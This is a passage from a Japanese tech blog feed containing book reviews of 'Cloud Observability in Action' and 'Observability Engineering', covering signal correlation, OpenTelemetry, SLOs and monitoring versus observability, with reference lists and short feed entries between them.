マンスが大幅に低下してしまいます。トレースのサンプリングは、データ量を抑えるための有効な手段ですが、重要なスパンが欠落してしまうリスクもあります。これらの課題に対しては、適切なアーキテクチャの選択と、きめ細かなチューニングが求められます。例えば、ログデータの処理には、Elasticsearchなどの全文検索エンジンや、FluentdやLogstashなどのログ収集基盤が役立ちます。メトリクスのカーディナリティ対策としては、PrometheusのRelabelingやRecordingRuleを活用できるでしょう。トレースのサンプリングでは、重要な操作をあらかじめ識別し、適切なサンプリングレートを設定することが重要です。データのプライバシーとセキュリティの確保も、重要な課題の一つです。法規制やコンプライアンス要件に従って、個人情報を適切にマスキングしたり、データの取り扱いを制限したりする必要があります。特に、SaaSサービスを利用する場合、データの保存場所や、アクセス制御について、慎重に検討しなければなりません。暗号化やアクセスログの監査など、セキュリティ対策も欠かせません。最後に、ユーザーエクスペリエンスの向上が求められます。せっかく相関機能を実装しても、使い勝手が悪ければ活用されません。インサイトを得やすいUIの設計や、エンドツーエンドでの一貫したサポートが重要だと指摘されています。例えば、メトリクスの異常検知から、関連するトレースやログへの seamless なナビゲーションができれば、問題の調査が大幅に効率化できるでしょう。Exploratoryなデータ分析をサポートするためには、データのクエリ性や、ビジュアライゼーションの柔軟性も欠かせません。これらの課題は、一朝一夕には解決できないかもしれません。しかし、シグナル相関の重要性を認識し、地道な改善を積み重ねていくことが大切です。特に、OpenTelemetryを中心とするオープンソースの活用と、コミュニティでの知見共有が、課題の克服に大きく役立つはずです。将来に向けたシグナル相関の可能性本章のエッセンスは、シグナル相関がオブザーバビリティの真価を引き出すための鍵だということだと思います。複雑化するシステムの動作を理解し、問題の迅速な特定と解決を実現するには、複数のシグナルを組み合わせて分析する必要があります。OpenTelemetryを活用することで、ベンダーロックインを回避しつつ、メタデータ主導の自動化された相関が可能になるでしょう。一方で、相関の実装には多くの課題が立ちはだかります。データのボリューム、カーディナリティ、プライバシーなど、技術的にも運用的にも乗り越えるべきハードルは少なくありません。しかし、著者が強調するように、これらの課題に真正面から向き合い、地道な改善を重ねていくことが重要です。シグナル相関は、オブザーバビリティの究極の目標とも言えます。全てのシグナルを横断的に分析し、システム全体の動作を俯瞰的に把握する。そこから得られる洞察は、開発者の生産性向上だけでなく、ビジネス上の意思決定にも大きな価値をもたらすはずです。セキュリティの分野でも、シグナル相関の重要性が増しています。複数のログソースを相関させることで、不正アクセスや情報漏洩の兆候をいち早く検知できます。また、トレースデータとの相関により、脆弱性の原因となるコードを特定することも可能になるでしょう。セキュリティインシデントの防止と、影響範囲の特定に、シグナル相関が大きく貢献する可能性があります。さらに、AIOpsの文脈でも、シグナル相関への期待が高まっています。機械学習やビッグデータ分析と組み合わせることで、システムの異常をリアルタイムに検知し、自動的に対処するような仕組みが実現できるかもしれません。複雑さを増すシステムの運用を、人間の手に頼らずに自動化していくために、シグナル相関が重要な基盤となるはずです。クラウドネイティブ時代のシステムは、ますます分散化・動的化が進んでいくでしょう。コンテナやサーバーレス、マイクロサービスなど、新しいアーキテクチャが次々と登場する中で、オブザーバビリティの重要性はこれまで以上に高まっています。その中で、シグナル相関は、システムの可視性と制御可能性を飛躍的に向上させる、強力な武器になり得ます。本章を通して、シグナル相関の重要性と実践的な手法について理解を深めることができました。OpenTelemetryを中心とするオープンな標準の採用と、コミュニティ全体での知見の共有が、相関技術の発展には欠かせません。課題を一つ一つ克服しながら、より高度な相関の実現を目指していきたいと思います。皆さんの組織では、シグナル相関にどのように取り組まれていますか?OpenTelemetryの活用状況や、相関分析から得られた知見など、ぜひ共有いただければと思います。シグナル相関は、オブザーバビリティ分野における次のブレークスルーになるかもしれません。 複数のシグナルを行き来しながら、システムの本質的な理解に迫っていく。そのためのデータ基盤とスキルを獲得することが、私たちに求められているのではないでしょうか。冒頭でも述べたように、単一のシグナルだけでは、もはやシステムの全容を把握することはできません。ログ、メトリクス、トレース、そしてプロファイル。これらの多様なシグナルを縦横無尽に相関させる力こそが、複雑さに立ち向かうための何よりの武器となるはずです。本書のラストを飾るに相応しい、示唆に富んだ一章でした。ここで得られた学びを胸に、オブザーバビリティのさらなる高みを目指して精進したいと思います。シグナル相関の可能性を追求し、より俊敏で、よりレジリエントなシステムを作り上げていく。それが、私たちソフトウェアエンジニアとSREに託されたミッションなのだと、改めて感じた次第です。さいごに本書「Cloud Observability in Action」を通じて、クラウドネイティブ時代におけるオブザーバビリティの重要性と、その実現に向けた具体的な方法論を学ぶことができ視座を得られました。著者が一貫して訴えかけているのは、オブザーバビリティがツールの導入だけで達成できるものではない、ということです。ログ、メトリクス、トレース、プロファイルなど、様々なシグナルを適切に収集・分析するための技術的な基盤は不可欠ですが、それ以上に重要なのは、オブザーバビリティの文化を組織全体に根付かせ、データドリブンな意思決定を日常的に実践していくことだと説いています。また、オープンスタンダードとオープンソースソフトウェアの活用が強く推奨されています。ベンダーロックインを避け、持続可能なイノベーションを実現するために、OpenTelemetryに代表されるようなオープンな標準や、コミュニティ主導のオープンソースプロジェクトが果たす役割の大きさを再認識させられました。本書の内容を実践するのは容易ではありませんが、その努力は決して無駄にはならないはずです。オブザーバビリティの向上は、システムの信頼性と俊敏性を高めるだけでなく、ビジネスの成功とも直結するからです。本書で得られた知見を咀嚼し、行動に移していくこと。それが、著者のメッセージを真に理解し、オブザーバビリティの価値を自らの組織にもたらすための鍵となるでしょう。クラウドの時代において、オブザーバビリティは「あったら良いもの」ではなく「なくてはならないもの」になりつつあります。本書はその重要性を説き、実践への道筋を示してくれる、頼もしい道しるべだと言えます。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。参考資料Observability WhitepaperPerformance ReportReturn on Investment Driven ObservabilityIntro to exemplars, which enable Grafana Tempo’s distributed tracing at massive scaleMTBF, MTTR, MTTA, and MTTFDocker daemon configuration overviewContainer Runtime Interface (CRI)github | CrunchyData/pgmonitorLogging in Action - With Fluentd, Kubernetes and moreContextual Logging in Kubernetes 1.24System LogsFluentdFluent BitElastic BeatsLogstashOpenSearch Data Preppersyslog-ngrsyslogGraylogCriblPrometheusCollectdGrafana AgentGraphiteNagiosStatsDTelegrafOpenTelemetryOpenTelemetry Java Auto-InstrumentationOpenTelemetry JavaScriptOpenTelemetry Node SDKOpenTelemetry PythonOpenTelemetry .NET Auto-InstrumentationOpenTelemetry Go InstrumentationCloud Native Observability with OpenTelemetryPractical OpenTelemetryLearning OpenTelemetryAmazon CloudWatch AgentAWS Embedded Metric Format (EMF)AWS CloudWatch Agent OpenTelemetry SupportAWS Distro for OpenTelemetryAzure Monitor Agent (AMA)Azure OpenTelemetry SupportGoogle Cloud Ops AgentVector by DatadogLogstash, Fluentd, Fluent Bit, or Vector ComparisonVector, Fluent Bit, Fluentd Performance BenchmarkingOpenTelemetry Collector Performance | BenchmarksAWS Distro for OpenTelemetry Collector PerformanceOpenTelemetry Collector DashboardOpenSearch Install with DockerKubernetes Control Plane LogsKubernetes Worker Node LogsAWS CloudTrailAmazon CloudWatch LogsAWS Embedded Metric Format (EMF)Azure Monitor LogsGoogle Cloud LoggingElasticsearchOpenSearchApache LuceneElasticsearch in Action, Second EditionGrafana LokiZincObserveSplunkInstanaSolarWindsLogz.ioAmazon CloudWatch MetricsAmazon Managed Service for PrometheusPrometheus Remote WriteAmazon TimestreamAzure Monitor MetricsGoogle Cloud MonitoringGoogle Cloud Managed Service for PrometheusCNCF CortexThanosClymeneGrafana MimirIcingaInfluxDBLinDBM3DBM3DB at FOSDEM 2020Nagios CoreNetdataNightingaleOpenTSDBPromscaleTimescaleDBQuestDBZabbixChronosphereVictoriaMetricsPrometheus Compliance GuideAWS X-RayDistributed Tracing in AzureGoogle Cloud TraceJaegerZipkinGrafana TempoGoogle Cloud Trace OverviewApache CassandraScyllaDBApache DruidApache Druid: overview, running in Kubernetes and monitoring with PrometheusApache PinotReal-time analytics on network flow data with Apache PinotClickHouseAltinity Operator for ClickHouseFrostDBSnowflakeComparison of the Open Source OLAP Systems for Big DataOpenTelemetry Columnar EncodingDesigning Data-Intensive ApplicationsFundamentals of Data ObservabilityOpenTelemetry Fluent Forward ReceiverOpenTelemetry ClickHouse ExporterClickHouse Operations DocsClickHouse Networking ArticleClickCatPrestoDBAmazon RedshiftGoogle BigQueryCNCF Observability & Analysis LandscapeOpenTelemetry Vendor SupportApache KafkaOpenTelemetry Kafka ExporterElastic Common Schema (ECS)LogQLCloudWatch Logs Insights Query SyntaxSyslog Protocol (RFC 5424)Common Log FormatNGINX LoggingGraylog Extended Log Format (GELF)Windows Event Log SchemaCommon Event Format (CEF)Prometheus Query Language (PromQL)Prometheus Exposition FormatOpenMetricsInfluxData FluxGoogle pprofOpenTelemetry Protocol (OTLP)High-Cardinality TSDB BenchmarksGrafanaGrafana Data Sources DocumentationGrafana PluginsGrafana Dashboards DocumentationGrafana Alerting DocumentationAWS Managed GrafanaGrafana CloudKibanaOpenSearch Dashboards DocumentationCNCF JaegerApache SkyWalkingSigNozUptraceDatadogHoneycombNew RelicSplunkDatadog SyntheticsElastic SyntheticsNew Relic SyntheticsAmazon CloudWatch SyntheticsWhen to Alert on What?Anomaly Detection Reddit ThreadShoreline AIOpsAmazon SNSAlertmanager Configuration ExamplePrometheus Alerting RulesAwesome Prometheus AlertsAlertmanager Notification TemplatesCortex | Configuring Notification using Cortex AlertmanagerThanos | Alerting RulesPrometheus: Up & Running, 2nd EditionImproved Alerting With Prometheus and AlertmanagerLife of an Alert TalkGrafana Unified AlertingGrafana Contact PointsGrafana Contact Point TypesAmazon CloudWatch AlarmsAzure Monitor AlertsGoogle Cloud AlertingAWS CloudTrailReal User Monitoring OTEPGoogle AnalyticsAmazon CloudWatch RUMLeadDev An introduction to Real User Monitoring (RUM)Single-Page ApplicationsObservable Frontends OpenTelemetryOpenTelemetry Real User MonitoringAWS Cost and Usage ReportsOpenCostServerless: who’s on call now?All Things Clock, Time and Order in Distributed Systems: Physical Time in Depthhttps://www.w3.org/TR/trace-context/Tracesho11y (pronounced: howl-y)Cloud-Native Observability with OpenTelemetryhttps://httpstatuscodes.org/429/https://opentelemetry.io/docs/collector/deployment/Span Metrics Connectorhttps://keyval.dev/distributed-tracing-2025/Using latency histogramsService MapbubbleupShift-Left: A Developer\'s Pipe(line) Dream?A Modern Shift-Left Security ApproachGNU gprofDTrace ToolspprofProtocol BuffersIce and Fire: How to read icicle and flame graphshttps://man7.org/linux/man-pages/man2/bpf.2.htmlBPF Performance Tools (book)What Is eBPF?https://www.parca.dev/https://www.parca.dev/docs/parca-agent-language-supporthttps://demo.parca.dev/https://px.dev/https://pyroscope.io/https://demo.pyroscope.io/Continuous profiling now in public preview in Grafana CloudProposal: Adding profiling as a support event typeWhat is Amazon CodeGuru Profiler?Profile production applications in Azure with Application Insights ProfilerProfiling concepts ; Google CloudProfiling and optimization - Dynatrace DocsReal-time profiling for Java using JFR metricsProfiling and optimization - Dynatrace DocsFantastic Symbols and Where to Find Them - Part 1BPF binaries: BTF, CO-RE, and the future of BPF perf toolsInstalling TracetestTrace-based testing cloud-native apps with AWS X-Ray and TracetestMonitoring and Testing Cloud Native APIs with GrafanaProfiles, the Missing Pillar: Continuous Profiling in Practice - InfoQ- BPF Portability and CO-REFrostDBGorilla: A Fast, Scalable, In-Memory Time Series DatabaseTime-series Compression Algorithms ExplainedQuerying ParcaFlameQLLaunchDarkly: Feature Management PlatformAmazon CloudWatch Evidently - Implement Safer Feature Releases and A/B ExperimentsFallacies of Distributed SystemseBay/flow-telemetry: Open source host/network flow collector and exporterDigma: Developer Observability and Continuous FeedbackSprkl: Developer Tool for Continuous Observabilitysprkl-dev/use-sprkl: React hook for Sprkl integrationTracetest: Integration testing platform for cloud-native systemsgoogle/pprof/profile.protoInstalling the protocol compilerBuf: A new way of working with Protocol BuffersProtoman: A GUI for Protobuf filespostmanlabs/postman-app-support: How to encode protobuf in Postman?Flame GraphsDatadog Continuous ProfilerProfilerpedia - Profilers by LanguageDataDog/go-profiler-notes/guideRookout: Debug and Understand Live CodeAutometrics: Observability made simple for developersNew Relic Thread ProfilerProdfiler: Continuous Profiling for Production ApplicationsGranulate Continuous ProfilingBooks For Site Reliability EngineeringThe RED Method: A New Approach to Monitoring Microservices - The New StackGroupGitHub - pyrra-dev/pyrra: Making SLOs with Prometheus manageable, accessible, and easy to use for everyone!Welcome to SLOcademyPyrraSLO-Based Observability For All Kubernetes Cluster Components - Matthias Loibl & Nadine Vehling - YouTubeSloth - SlothCoreDNS availability - SlothNobl9 Reliability Software and Tools to Manage SLOs and MonitoringConcepts in service monitoring \xa0|\xa0 Google Cloud Observabilityサービスレベル目標(SLO)SLOs: Service Level Objectives | HoneycombService-level objectives - Dynatrace DocsGet started with New Relic service levelsSLA vs. SLI vs. SLO: Understanding Service Levels | SplunkOpenSLOcommunity/sig-scalability/slos/slos.md at master \xb7 kubernetes/community \xb7 GitHubThe first Service Level Objective Conference for Site Reliability Engineers Correlating Signals Efficiently in Modern ObservabilitySemantic Conventions | OpenTelemetryResource Semantic Conventions | OpenTelemetryResource Semantic Conventions | OpenTelemetryResource Semantic Conventions | OpenTelemetryTrace Semantic Conventions | OpenTelemetrygRPCMetrics Semantic Conventions | OpenTelemetryGeneral Logs Attributes | OpenTelemetryResource Semantic Conventions | OpenTelemetryMetrics Semantic Conventions | OpenTelemetryRFC 7231: Hypertext Transfer Protocol (HTTP/1.1): Semantics and ContentTraces | OpenTelemetryApache KafkaEvent Listener - Amazon EventBridge - AWSAWS X-RayIntroduction to exemplarsBuild an observability solution using managed AWS services and the OpenTelemetry standard | AWS Cloud Operations & Migrations BlogOne Observability WorkshopOperationCorrelationTelemetryInitializer Class (Microsoft.ApplicationInsights.Extensibility) - Azure for .NET Developers | Microsoft LearnCorrelate log entries \xa0|\xa0 Cloud Logging \xa0|\xa0 Google CloudCustom Correlation for Java ApplicationsConfigure Custom Correlation for .NET ApplicationsMetric CorrelationsCorrelate Request Logs With Traces Automatically | Datadog White modal up arrow Icon/worldCorrelating distributed traces of large scale systems | Dynatrace EngineeringAPM Alternative & Platform Comparison | HoneycombCloud ObservabilityCorrelate Logs and TracesConfigure correlation logic with decisionscorrelate - Splunk DocumentationCloud scale correlation and investigation with Cloud SIEM | Sumo LogicBrightTalkData protection - European CommissionTAG OBS Query Standardization WG Charter - Google ドキュメント","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","isoDate":"2024-05-10T03:10:47.000Z","dateMiliSeconds":1715310647000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Dev ContainersとTestcontainers","contentSnippet":"TechFeed Experts Night#28 〜 コンテナ技術最前線 〜で登壇したセッションの資料です。\\rhttps://techfeed.io/events/techfeed-experts-night-28","link":"https://speakerdeck.com/bells17/devcontainerstotestcontainers","isoDate":"2024-05-08T04:00:00.000Z","dateMiliSeconds":1715140800000,"authorName":"bells17","authorId":"bells17"},{"title":"OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた","contentSnippet":"はじめに はじめまして、スリーシェイクインターン生の有馬祐二と関根弘晃です。私たちは2024年3月18日~3月29日に開催された短期インターンシップに参加しました。私たちのグループではインターンの期間でテレメトリデータの […]The post OpenTelemetryによる計装とOpenTelemetry Collectorについて調べてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/opentelemetry-instrumentation/","isoDate":"2024-05-07T01:32:46.000Z","dateMiliSeconds":1715045566000,"authorName":"Sreake","authorId":"Sreake"},{"title":"もう一度読むObservability Engineering","contentSnippet":"はじめに本書『Observability Engineering』は、複雑化の一途をたどる現代のソフトウェアシステムに立ち向かうための、強力な武器となる一冊であり本稿はその読書感想文です。Observability Engineering を今から知りたい方はもちろん、Observability Engineering の基礎を改めて学びたい方もぜひお読みください。この記事もかなりの長さになるので普通に書籍を読んだほうがいいかもですlearning.oreilly.com「Observability:可観測性」という言葉は、近年ソフトウェアエンジニアリングの世界で大きな注目を集めています。しかし、その概念の本質を理解し、実践に移すことは容易ではありません。本書は、そのオブザーバビリティについて、その基本的な考え方から、具体的な実装方法、そして組織への適用まで、幅広くかつ深く解説しています。著者らは、Honeycombというオブザーバビリティプラットフォームの開発に携わった経験から、その知見を余すところなく共有しています。Observability Engineering: Achieving Production Excellence (English Edition)作者:Majors, Charity,Fong-Jones, Liz,Miranda, GeorgeO\'Reilly MediaAmazon私自身、2022年に本書を読んだ際には、その内容を理解したつもりになっていました。しかし、色んな経験や話を聞いた今になって再読してみると、当時の理解は表面的なものに過ぎなかったことに気づかされます。人間や組織の話もめちゃくちゃにぶつかったのでその内容がドンピシャでもあった。自分が何を大事にしているのかを見失わないためには、新しい書籍や新しい資料を読むよりも、一度立ち止まって原書を振り返るのも良いかもしれません。再読は、わからなさという困難を洗練させ、既知と未知のネットワークを創造的に発展させる知的技術であり、自分自身と向き合い、本の内容を理解するための行為なのです。再読だけが創造的な読書術である作者:永田希筑摩書房Amazon現在、様々なシステムではマイクロサービスアーキテクチャを採用し、その規模と複雑さを増す一方です。その中で、システムの動作を把握し、問題の原因を特定することがいかに難しいかを日々実感しているかと思います。本書で説かれているオブザーバビリティの考え方は、まさにその難題に対する答えとも言えるものでした。本書を通じて、オブザーバビリティとは単なるツールの問題ではなく、システムと向き合うための思想そのものだと理解できました。そして、その理解は私たちのチームの実装にも反映され、システムの可視性と理解度は格段に向上しています。また、本書はオブザーバビリティがもたらす組織文化の変革についても示唆に富んでいます。部署間のサイロを打ち破り、エンジニア全員がシステムの全体像を共有する。そのような文化があってこそ、真のオブザーバビリティが実現できるのだと納得させられました。本書は、現代のソフトウェア開発に携わる全てのエンジニアにとって、必読の一冊だと言えます。システムの複雑さに悩まされている方、モニタリングの限界を感じている方、チームのコミュニケーションを改善したい方。本書はそのような様々な課題を抱えるエンジニアに、明確な指針を与えてくれるはずです。また、翻訳版もあります。ありがたいので両方読みましょう。オブザーバビリティ・エンジニアリング作者:Charity Majors,Liz Fong-Jones,George Mirandaオーム社Amazonオブザーバビリティについて何も分からない場合には、まずは、本ブログを読む前にkatzchangさんの発表をご覧になることをお勧めします。この発表では、オブザーバビリティの概念や重要性、実践的な手法などが丁寧に解説されています。発表内容を理解することで、オブザーバビリティに関する基礎知識を身につけることができると思います。www.youtube.comタイトルは株式会社Topotalの高村さんと菱田さんが行っている。もう一度読むSREを参考にさせていただきました。っていうタイトルを使わせてもらおうと連絡したところ元ネタを教えていただいた。もう一つ好きになった。新もういちど読む山川日本史山川出版社Amazon『Observability Engineering』の内容紹介本書は、オブザーバビリティの概念から実践までを網羅的に解説しており、現代のソフトウェア開発・運用に携わるエンジニアや管理職にとって必読の一冊と言えるでしょう。システムの安定稼働とパフォーマンス向上を目指す上で、オブザーバビリティは欠かせない要素であり、本書はその導入と実践に向けた最初の一歩を提供してくれます。Part Iでは、オブザーバビリティの定義と、なぜ現代のシステムにおいてオブザーバビリティが重要であるかを解説しています。オブザーバビリティとモニタリングの違いについても言及し、システムの複雑さや規模が増大する中で、オブザーバビリティという新しいアプローチの必要性を訴えています。Part IIは、オブザーバビリティの技術的な側面に焦点を当てています。構造化イベントの重要性や、分散トレーシングの役割、OpenTelemetryを用いた計装方法などが解説されています。また、オブザーバビリティとモニタリングの使い分けについても言及しています。Part IIIでは、チームや組織にオブザーバビリティを導入するための方法論が紹介されています。具体的には、オブザーバビリティ駆動開発、SLO(サービスレベル目標)との連携、ソフトウェアサプライチェーンへのオブザーバビリティの適用などが取り上げられています。Part IVは、大規模システムにおけるオブザーバビリティの実践について述べています。オブザーバビリティツールの選定基準や、データストアの設計、サンプリング戦略、テレメトリーパイプラインの構築などが解説されています。Part Vでは、組織全体でオブザーバビリティ文化を醸成するための方法が紹介されています。オブザーバビリティ投資の対効果や、ステークホルダーとの連携、オブザーバビリティ成熟度モデルなどが説明されています。本書を再読することで、オブザーバビリティに関する知識が深まり、既知の部分と未知の部分がつながって新しい理解が生まれました。この創発的な経験は、今後のオブザーバビリティの実践に役立つことでしょう。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazon書籍のRepository以下のリポジトリには関連書籍のサンプルコードが収録されています。Go言語が苦も無く読める場合には学びになるのでここをまず見るのもありだと思う。resources.oreilly.com目次はじめに『Observability Engineering』の内容紹介書籍のRepository目次Part I. The Path to ObservabilityChapter 1. What Is Observability?オブザーバビリティの概念とその重要性オブザーバビリティとモニタリングの違いオブザーバビリティの必要性とその将来Chapter 2. How Debugging Practices Differ Between Observability and Monitoringモニタリングを用いたデバッグの限界オブザーバビリティがもたらすデバッグの改善オブザーバビリティの重要性Chapter 3. Lessons from Scaling Without ObservabilityParseにおけるスケーリングの課題モダンシステムへの進化モダンな実践へのシフトParseにおける実践のシフト様々な経験を経たオブザーバビリティの重要性Chapter 4. How Observability Relates to DevOps, SRE, and Cloud Nativeクラウドネイティブ、DevOps、SREの概要オブザーバビリティ:昔と今のデバッグオブザーバビリティがDevOpsとSREの実践を強化する再三だがオブザーバビリティの重要性Part II. Fundamentals of ObservabilityChapter 5. Structured Events Are the Building Blocks of Observabilityオブザーバビリティと構造化イベントメトリクスの限界非構造化ログの限界デバッグに役立つイベントのプロパティオブザーバビリティの基盤としての構造化イベントChapter 6. Stitching Events into Traces分散トレーシングの重要性トレーシングのコンポーネントトレースの手動インストルメンテーショントレースへのイベントの組み込みトレーシングの重要性とオープンソースフレームワークの活用Chapter 7. Instrumentation with OpenTelemetryOpenTelemetryの概要と重要性OpenTelemetryの主要コンポーネントOpenTelemetryを使った計装の例テレメトリデータの可視化OpenTelemetryの重要性と今後の展望Chapter 8. Analyzing Events to Achieve Observability既知の条件からのデバッグ第一原理に基づくデバッグコア分析ループの活用コア分析ループのブルートフォース部分の自動化AIOpsの誤ったアレオブザーバビリティ実現のためのイベント分析Chapter 9. How Observability and Monitoring Come Togetherモニタリングの適用範囲オブザーバビリティの適用範囲システムとソフトウェアの違い組織のニーズの評価例外として無視できないインフラストラクチャの監視実際の適用例組織の責任に基づくオブザーバビリティとモニタリングのバランスPart III. Observability for TeamsChapter 10. Applying Observability Practices in Your Teamコミュニティグループへの参加最も大きな痛みのポイントから始める既存の取り組みを活用する機会を探る最後の難関に備えるオブザーバビリティ実践の導入ヒントChapter 11. Observability-Driven Developmentテスト駆動開発とその限界開発サイクルにおけるオブザーバビリティマイクロサービス時代のデバッグインストルメンテーションがオブザーバビリティを促進する仕組みオブザーバビリティの左シフトオブザーバビリティを用いたソフトウェア開発の高速化オブザーバビリティ駆動開発の重要性Chapter 12. Using Service-Level Objectives for Reliability従来のモニタリングアプローチがもたらすアラート疲労ユーザーエクスペリエンスを指標とするサービスレベル目標とは何か?SLOベースのアラートへの文化の変革:ケーススタディSLOとオブザーバビリティによる信頼性の向上Chapter 13. Acting on and Debugging SLO-Based Alertsエラーバジェットが空になる前にアラートする時間をスライディングウィンドウとして捉える予測的バーンアラートを作成するための予測SLOバーンアラートへの対応SLOのためのオブザーバビリティデータと時系列データSLOとオブザーバビリティデータの組み合わせChapter 14. Observability and the Software Supply Chainオブザーバビリティがソフトウェアサプライチェーンに不可欠な理由共有ライブラリとディメンションサプライチェーンの運用化:ケーススタディコンテキストの理解アクショナブルなアラートの組み込み何が変更されたかの理解単なるツールではなく、文化でもあるPart IV. Observability at ScaleChapter 15. Build Versus Buy and Return on InvestmentオブザーバビリティのROI分析自社構築のメリットとリスク購入のメリットとリスク二者択一ではないタダより高いものはないChapter 16. Efficient Data Storageオブザーバビリティのための機能要件時系列データベースの限界列指向ストレージクエリワークロードスケーラビリティと耐久性オブザーバビリティデータ管理の新しいアプローチChapter 17. Cheap and Accurate Enough: Samplingサンプリングによるデータ収集の最適化サンプリング戦略の違いトレースイベントのサンプリングコードによるサンプリング戦略の実装大切なのは状況に応じた賢明なサンプリングChapter 18. Telemetry Management with Pipelinesテレメトリパイプラインの利点テレメトリパイプラインのアナトミーSlackでのテレメトリ管理の事例テレメトリパイプラインの重要性と選択Part V. Spreading Observability CultureChapter 19. The Business Case for Observabilityオブザーバビリティ導入へのリアクティブなアプローチオブザーバビリティのROIオブザーバビリティ導入へのプロアクティブなアプローチオブザーバビリティの実践適切なツールの選択十分なオブザーバビリティの判断オブザーバビリティ文化を組織全体に広めるためにChapter 20. Observability’s Stakeholders and Alliesエンジニアリング以外のオブザーバビリティニーズの認識実践におけるオブザーバビリティの同盟者の獲得カスタマーサポートチームカスタマーサクセスチームとプロダクトチーム営業チームとエグゼクティブチームオブザーバビリティツールとBIツールの使い分けオブザーバビリティの採用を組織全体に広げるためにChapter 21. An Observability Maturity Model成熟度モデルについての注意点オブザーバビリティが成熟度モデルを必要とする理由OMMが参照する能力組織のためのOMMの活用オブザーバビリティ成熟度モデルが示す道筋Chapter 22. Where to Go from Hereオブザーバビリティの定義の進化本書の構成の変遷オブザーバビリティ採用の社会技術的課題追加のリソースオブザーバビリティの未来予測オブザーバビリティ実践の継続的な進化さいごに参考資料Part I. The Path to Observability本書の第一部では本書の残りの部分で参照される概念を定義します。オブザーバビリティとは何か、オブザーバブルなシステムを特定する方法、およびオブザーバビリティベースのデバッグ技術が、モニタリングベースのデバッグ技術よりもモダンなソフトウェアシステムの管理に適している理由を言及してくれています。オブザーバビリティに関する別のオススメの書籍として、『Distributed Systems Observability』1を紹介しておきます。この書籍では、分散システムにおけるオブザーバビリティの重要性と、その実現方法について詳細に解説されています。learning.oreilly.comChapter 1. What Is Observability?オブザーバビリティの概念とその重要性「Chapter 1. What Is Observability?」は、オブザーバビリティの概念とその適用方法について非常に詳細かつ体系的に解説した章です。本書は、オブザーバビリティの数学的起源から始まり、ソフトウェア工学への適用、そしてモダンなシステムにおける必要性まで、丁寧に説明しています。本書によると、ソフトウェアシステムの文脈では、オブザーバビリティは以下の要件を満たすことを意味します。アプリケーションの内部動作を理解できるアプリケーションが取りうる任意の状態を理解できる外部ツールを用いて内部動作と状態を理解できる新しいコードをデプロイせずに内部状態を理解できるつまり、オブザーバビリティとは、システムの内部動作と状態を外部から観測し、理解できることを指します。 これにより、エンジニアはシステムの動作を深く理解し、問題の根本原因を特定することができるのです。この章で特に印象的だったのは、本書が従来のモニタリングアプローチとオブザーバビリティの違いを明確に示したことです。モニタリングは長年にわたってシステムを理解するための主要な手段でしたが、本書は、モニタリングには本質的な限界があると指摘しています。モニタリングは、予測可能な障害モードを検出するのには役立ちますが、予測不可能な障害モードに対応するのが難しいのです。 これは、モニタリングが事前に定義されたメトリクスとしきい値に依存しているためです。エンジニアは、想定される障害モードを予測し、それに応じてダッシュボードを設定する必要があります。しかし、モダンなシステムが複雑で動的であるため、すべての障害モードを事前に予測することは不可能です。これに対して、オブザーバビリティは、システムの内部状態を理解するための新しいアプローチを提供します。オブザーバビリティツールは、高カーディナリティ(一意性)と高次元のデータを収集し、問題の根本原因を特定するための柔軟なクエリを可能にします。 これにより、エンジニアは予測不可能な障害モードを見つけ出し、迅速に対応することができるのです。本書は、オブザーバビリティの重要な概念として「探索可能性(explorability)」を紹介しています。これは、システムに対して任意の質問をし、その内部状態を検査できる程度を表します。つまり、事前に予測することなく、システムが取りうる任意の状態を反復的に調査し、理解できるということです。 この概念は、モニタリングとは根本的に異なります。モニタリングでは、事前に定義されたメトリクスとしきい値に基づいてシステムを監視しますが、オブザーバビリティでは、データを柔軟に探索し、新しい洞察を得ることができるのです。2023年も SRE再考と叫びなさい‼️ より引用また、本書は、カーディナリティと次元の役割について詳しく説明しています。カーディナリティは、データセット内の一意の値を表し、次元はそのデータ内のキーの数を表します。オブザーバビリティツールは、高カーディナリティと高次元のデータを処理するように設計されており、これによりエンジニアは問題のあらゆる側面を調査することができるのです。 一方、モニタリングツールは、低カーディナリティのデータを処理するように設計されており、データの探索力に限界があります。オブザーバビリティとモニタリングの違いさらに、本書は、オブザーバビリティとモニタリングの目的の違いについても言及しています。モニタリングの主な目的は、システムの稼働時間を最大化し、障害を防ぐことです。一方、オブザーバビリティの目的は、システムの動作を深く理解し、パフォーマンスを最適化することです。オブザーバビリティは、障害を防ぐだけでなく、システムの継続的な改善を可能にするのです。本書は、オブザーバビリティがモダンなシステム、特に疎結合で動的かつ推論が難しい分散システムにとって不可欠であると強調しています。これらのシステムでは、予測不可能な障害モードが頻繁に発生するため、従来のモニタリングアプローチでは対応が難しいのです。オブザーバビリティは、これらの課題を克服し、システムの信頼性と性能を向上させるための強力な手段なのです。オブザーバビリティの必要性とその将来要約すると、「Chapter 1. What Is Observability?」は、オブザーバビリティとモニタリングの違いを明確に示し、オブザーバビリティの重要性を説得力のある形で伝えています。 本書は、モニタリングの限界を指摘し、オブザーバビリティがそれを克服するための鍵であることを論じています。また、探索可能性、カーディナリティ、次元といった重要な概念を導入し、オブザーバビリティを実現するための具体的な要件を示しています。この章は、モダンなシステムを管理するすべてのソフトウェアエンジニアにとって必読の内容です。 オブザーバビリティは、システムの信頼性と性能を向上させるための不可欠なツールであり、エンジニアはこの概念を深く理解する必要があります。また、この章は、オブザーバビリティとモニタリングの違いを明確に示しており、エンジニアがシステム管理のアプローチを選択する際の指針となるでしょう。Chapter 2. How Debugging Practices Differ Between Observability and Monitoring「Chapter 2. How Debugging Practices Differ Between Observability and 